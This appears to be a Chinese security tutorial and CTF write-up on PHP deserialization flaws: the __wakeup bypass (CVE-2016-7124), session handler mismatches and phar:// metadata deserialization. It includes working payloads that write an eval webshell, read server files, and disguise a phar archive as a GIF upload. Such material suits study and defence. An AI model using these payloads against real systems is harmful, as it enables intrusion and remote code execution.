1. 程式人生 > >四個例項遞進php反序列化漏洞理解

四個例項遞進php反序列化漏洞理解

索引

最近在總結php序列化相關的知識,看了好多前輩師傅的文章,決定對四個理解難度遞進的序列化思路進行一個復現剖析。包括最近Blackhat議題披露的phar拓展php反序列化漏洞攻擊面。前人栽樹,後人乘涼,擔著前輩師傅們的輔拓前行!

D0g3

為了讓大家進入狀態,來一道簡單的反序列化小題,新來的表哥們可以先學習一下php序列化和反序列化。順便安利一下D0g3小組的平臺~ 題目平臺地址:http://ctf.d0g3.cn 題目入口:http://120.79.33.253:9001

頁面給了原始碼

<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}
show_source(__FILE__);

提醒大家補充php序列化知識的水題~

直接上傳s:7:"D0g3!!!"即可get flag

繞過魔法函式的反序列化漏洞

漏洞編號CVE-2016-7124

魔法函式sleep() 和 wakeup()

php文件中定義__wakeup():

unserialize() 執行時會檢查是否存在一個 wakeup() 方法。如果存在,則會先呼叫 wakeup 方法,預先準備物件需要的資源。wakeup()經常用在反序列化操作中,例如重新建立資料庫連線,或執行其它初始化操作。sleep()則相反,是用在序列化一個物件時被呼叫

漏洞剖析

PHP5 < 5.6.25 PHP7 < 7.0.10 PHP官方給了示例:

https://bugs.php.net/bug.php?id=72663 這個漏洞核心:序列化字串中表示物件屬性個數的值大於真實的屬性個數時會跳過__wakeup的執行比如下面這個類構造:

class hpdoger{
    public $a = 'nice to meet u';
    }

序列化這個類得到的結果:

O:7:"hpdoger":1:{s:1:"a";s:6:"nice to meet u";}

簡單解釋一下這個序列化字串: O代表結構型別為:類,7表示類名長度,接著是類名、屬性(成員)個數 大括號內分別是:屬性名型別、長度、名稱;值型別、長度、值

正常情況下,反序列化一個類得到的結果:

析構方法和__wakeup都能夠執行

如果我們把傳入的序列化字串的屬性個數更改成大於1的任何數

O:7:"hpdoger":2:{s:1:"a";s:6:"u know";}

得到的結果如圖,__wakeup沒有被執行,但是執行了解構函式

假如我們的demo是這樣的呢?

<?php
class A{
    var $a = "test";
    function __destruct(){
        $fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
        fputs($fp,$this->a);
        fclose($fp);
    }
    function __wakeup()
        {
            foreach(get_object_vars($this) as $k => $v) {
                    $this->$k = null;
            }
        }
}
$hpdoger = $_POST['hpdoger'];
$clan = unserialize($hpdoger);
?>

每次反序列化是都會呼叫__wakeup從而把$a值清空。但是,如果我們繞過wakeup不就能寫Shell了?既然反序列化的內容是可控的,就利用上述的方法繞過wakeup。

poc:

O:1:"A":2:{s:1:"a";s:27:"<?php eval($_POST["hp"]);?>";}

序列化漏洞常見的魔法函式

construct():當一個類被建立時自動呼叫 destruct():當一個類被銷燬時自動呼叫invoke():當把一個類當作函式使用時自動呼叫 tostring():當把一個類當作字串使用時自動呼叫wakeup():當呼叫unserialize()函式時自動呼叫 sleep():當呼叫serialize()函式時自動呼叫 __call():當要呼叫的方法不存在或許可權不足時自動呼叫

Session反序列化漏洞

Session序列化機制

提到這個漏洞,就得先知道什麼叫Session序列化機制。

當session_start()被呼叫或者php.ini中session.auto_start為1時,PHP內部呼叫會話管理器,訪問使用者session被序列化以後,儲存到指定目錄(預設為/tmp)。

PHP處理器的三種序列化方式: | 處理器 | 對應的儲存格式 | | ————————— |:——————————-| | php_binary | 鍵名的長度對應的ASCII字元+鍵名+經過serialize() 函式反序列處理的值 | | php | 鍵名+豎線+經過serialize()函式反序列處理的值 | |php_serialize |serialize()函式反序列處理陣列方式|

配置檔案php.ini中含有這幾個與session儲存配置相關的配置項:

session.save_path=""   --設定session的儲存路徑,預設在/tmp
session.auto_start   --指定會話模組是否在請求開始時啟動一個會話,預設為0不啟動
session.serialize_handler   --定義用來序列化/反序列化的處理器名字。預設使用php

一個簡單的demo(session.php)認識一下儲存過程:

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['hpdoger'] = $_GET['hpdoger'];

?>

訪問頁面

http://localhost/test/session.php?hpdoger=lover

在session.save_path對應路徑下會生成一個檔案,名稱例如:sess_1ja9n59ssk975tff3r0b2sojd5 因為選擇的序列化處理方式為php_serialize,所以是被serialize()函式處理過的$_SESSION[‘hpdoger’]。儲存檔案內容:

a:1:{s:7:"hpdoger";s:5:"lover";}

如果選擇的序列化處理方式為php,即ini_set('session.serialize_handler','php');,則儲存內容為:

hpdoger|s:5:"lover";

漏洞剖析

選擇的處理方式不同,序列化和反序列化的方式亦不同。如果網站序列化並存儲Session與反序列化並讀取Session的方式不同,就可能導致漏洞的產生。

這裡提供一個demo:

儲存Session頁面

/*session.php*/

<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['hpdoger'] = $_GET['hpdoger'];

?>

可利用頁面

/*test.php*/

<?php 
ini_set('session.serialize_handler','php');
session_start();

class hpdoger{
    var $a;

    function __destruct(){
        $fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w");
        fputs($fp,$this->a);
        fclose($fp);
    }
}

?>

訪問第一個頁面的poc:

/tmp目錄下生成的session檔案內容:

a:1:{s:7:"hpdoger";s:52:"|O:7:"hpdoger":1:{s:1:"a";s:17:"<?php phpinfo()?>";}";}

再訪問test.php時反序列化已儲存的session,新的php處理方式會把“|”後的值當作KEY值再serialize(),相當於我們例項化了這個頁面的hpdoger類,相當於執行:

$_SESSION['hpdoger'] = new hpdoger();
$_SESSION['hpdoger']->a = '<?php phpinfo()?>';

在指定的目錄D:phpStudy//PHPTutorial//WWW//testshell.php中會寫入內容<?php phpinfo()?>

jarvisoj-web的一道SESSION反序列化

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

看到ini_set(‘session.serialize_handler’, ‘php’);

【後面內容有進行改動】

暫時沒找到用php_serialize新增session的方法。但看到當get傳入phpinfo時會例項化OowoO這個類並訪問phpinfo()

這裡參考Chybeta師傅的一個姿勢:session.upload_progress.enabled為On。session.upload_progress.enabled本身作用不大,是用來檢測一個檔案上傳的進度。但當一個檔案上傳時,同時POST一個與php.ini中session.upload_progress.name同名的變數時(session.upload_progress.name的變數值預設為PHP_SESSION_UPLOAD_PROGRESS),PHP檢測到這種同名請求會在$_SESSION中新增一條資料。我們由此來設定session。

構造上傳的表單poc,列出當前目錄:

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

再看下原始碼

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
<?php
class OowoO
{
    public $mdzz='xxxxx';
}
$obj = new OowoO();
echo serialize($obj);
?>

payloay1:將xxxxx替換為print_r(scandir(dirname(__FILE__)));,得到序列化結果:

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

為防止轉義,在引號前加上\。利用前面的html頁面隨便上傳一個東西,抓包,把filename改為如下:

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

注意,前面有一個|,這是session的格式。

通過phpinfo頁面檢視當前路徑_SERVER["SCRIPT_FILENAME"]

將xxx處改為:

print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

然後位了防止轉義在加上\

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag:

phar偽協議觸發php反序列化

最近Black Hat比較熱的一個議題:It’s a PHP unserialization vulnerability Jim, but not as we know it。參考了創宇的文章,這裡筆者把它作為php反序列化的最後一個模組,希望日後能在以上的幾種反序列化之外拓寬新的思路。

phar://協議

可以將多個檔案歸入一個本地資料夾,也可以包含一個檔案

phar檔案

PHAR(PHP歸檔)檔案是一種打包格式,通過將許多PHP程式碼檔案和其他資源(例如影象,樣式表等)捆綁到一個歸檔檔案中來實現應用程式和庫的分發。所有PHAR檔案都使用.phar作為副檔名,PHAR格式的歸檔需要使用自己寫的PHP程式碼。

phar檔案結構

這裡摘出創宇提供的四部分結構概要: 1、a stub 識別phar拓展的標識,格式:xxx<?php xxx; __HALT_COMPILER();?>。對應的函式Phar::setStub

2、a manifest describing the contents 被壓縮檔案的許可權、屬性等資訊都放在這部分。這部分還會以序列化的形式儲存使用者自定義的meta-data,這是漏洞利用的核心部分。對應函式Phar::setMetadata—設定phar歸檔元資料

3、 the file contents 被壓縮檔案的內容。

4、[optional] a signature for verifying Phar integrity (phar file format only) 簽名,放在檔案末尾。對應函式Phar :: stopBuffering —停止緩衝對Phar存檔的寫入請求,並將更改儲存到磁碟

Phar內建方法

要想使用Phar類裡的方法,必須將phar.readonly配置項配置為0或Off(文件中定義)

PHP內建phar類,其他的一些方法如下:

$phar = new Phar('phar/hpdoger.phar'); //例項一個phar物件供後續操作
$phar->startBuffering()  //開始緩衝Phar寫操作
$phar->addFromString('test.php','<?php echo 'this is test file';'); //以字串的形式新增一個檔案到 phar 檔案
$phar->buildFromDirectory('fileTophar') //把一個目錄下的檔案歸檔到phar檔案
$phar->extractTo()  //解壓一個phar包的函式,extractTo 提取phar文件內容

漏洞剖析

檔案的第二部分a manifest describing the contents可知,phar檔案會以序列化的形式儲存使用者自定義的meta-data,在一些檔案操作函式執行的引數可控,引數部分我們利用Phar偽協議,可以不依賴unserialize()直接進行反序列化操作,在讀取phar檔案裡的資料時反序列化meta-data,達到我們的操控目的。

而在一些上傳點,我們可以更改phar的檔案頭並且修改其後綴名繞過檢測,如:test.gif,裡面的meta-data卻是我們提前寫入的惡意程式碼,而且可利用的檔案操作函式又很多,所以這是一種不錯的繞過+執行的方法。

檔案上傳繞過deomo

自己寫了個醜陋的程式碼,只允許gif檔案上傳(實則有其他方法繞過,這裡不贅述),程式碼部分如下

前端上傳

<form action="http://localhost/test/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="hpdoger">
    <input type="submit" name="submit">
</form>

後端驗證

/*upload.php*/
<?php
    /*返回字尾名函式*/
    function getExt($filename){
        return substr($filename,strripos($filename,'.')+1);
    }

    /*檢測MIME型別是否為gif*/
    if($_FILES['hpdoger']['type'] != "image/gif"){
        echo "Not allowed !";
        exit;
    }
    else{
        $filenameExt = strtolower(getExt($_FILES['hpdoger']['name']));    /*提取字尾名*/

        if($filenameExt != 'gif'){
            echo "Not gif !";
        }
        else{
            move_uploaded_file($_FILES['hpdoger']['tmp_name'], $_FILES['hpdoger']['name']);
            echo "Successfully!";
        }
    }
?>

程式碼判斷了MIME型別+字尾判斷,如下是我測試php檔案的兩個結果: 直接上傳php

抓包更改content-type為 image/gif再次上傳

可以看到兩次都被拒絕上傳,那我們更改phar字尾名再次上傳

php環境編譯生成一個phar檔案,程式碼如下:

<?php 
class not_useful{
    var $file = "<?php phpinfo() ?>";
}

@unlink("hpdoger.phar");
$test = new not_useful();
$phar = new Phar("hpdoger.phar");

$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 增加gif檔案頭
$phar->setMetadata($test);
$phar->addFromString("test.txt","test");

$phar->stopBuffering();
?>

這裡例項的類是為後面的demo做鋪墊,php檔案同目錄下生成hpdoger.phar檔案,我們更改名稱為hpdoger.gif看一下

gif頭、phar識別序列、序列化後的字串都具備

上傳一下看能否成功,成功繞過檢測在服務端儲存一個hpdoger.gif

利用Phar://偽協議demo

我們已經上傳了可解析的phar檔案,現在需要找到一個檔案操作函式的頁面來利用,這裡筆者寫一個比較雞肋的頁面,目的是還原流程而非真實情況。

程式碼如下:reapperance.php

<?php
    $recieve = $_GET['recieve'];

    /*寫入檔案類操作*/
    class not_useful{
        var $file;

        function __destruct(){
        $fp = fopen("D:\phpStudy\PHPTutorial\WWW\test\shell.php","w"); //自定義寫入路徑
        fputs($fp,$this->file);
        fclose($fp);
    }

    file_get_contents($recieve);

?>

$recieve可控,符合我們的利用條件。那我們構造payload:

若執行成功,會將剛才寫入meta-data資料裡面序列化的類進行反序列化,並且例項了$file成員,導致檔案寫入,成功寫入如下:

可利用的檔案操作函式

fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesize

各種檔案頭

型別 標識
JPEG 頭標識ff d8 ,結束標識ff d9
PNG 頭標識89 50 4E 47 0D 0A 1A 0A
GIF 頭標識(6 bytes) 47 49 46 38 39(37) 61 GIF89(7)a
BMP 頭標識(2 bytes) 42 4D BM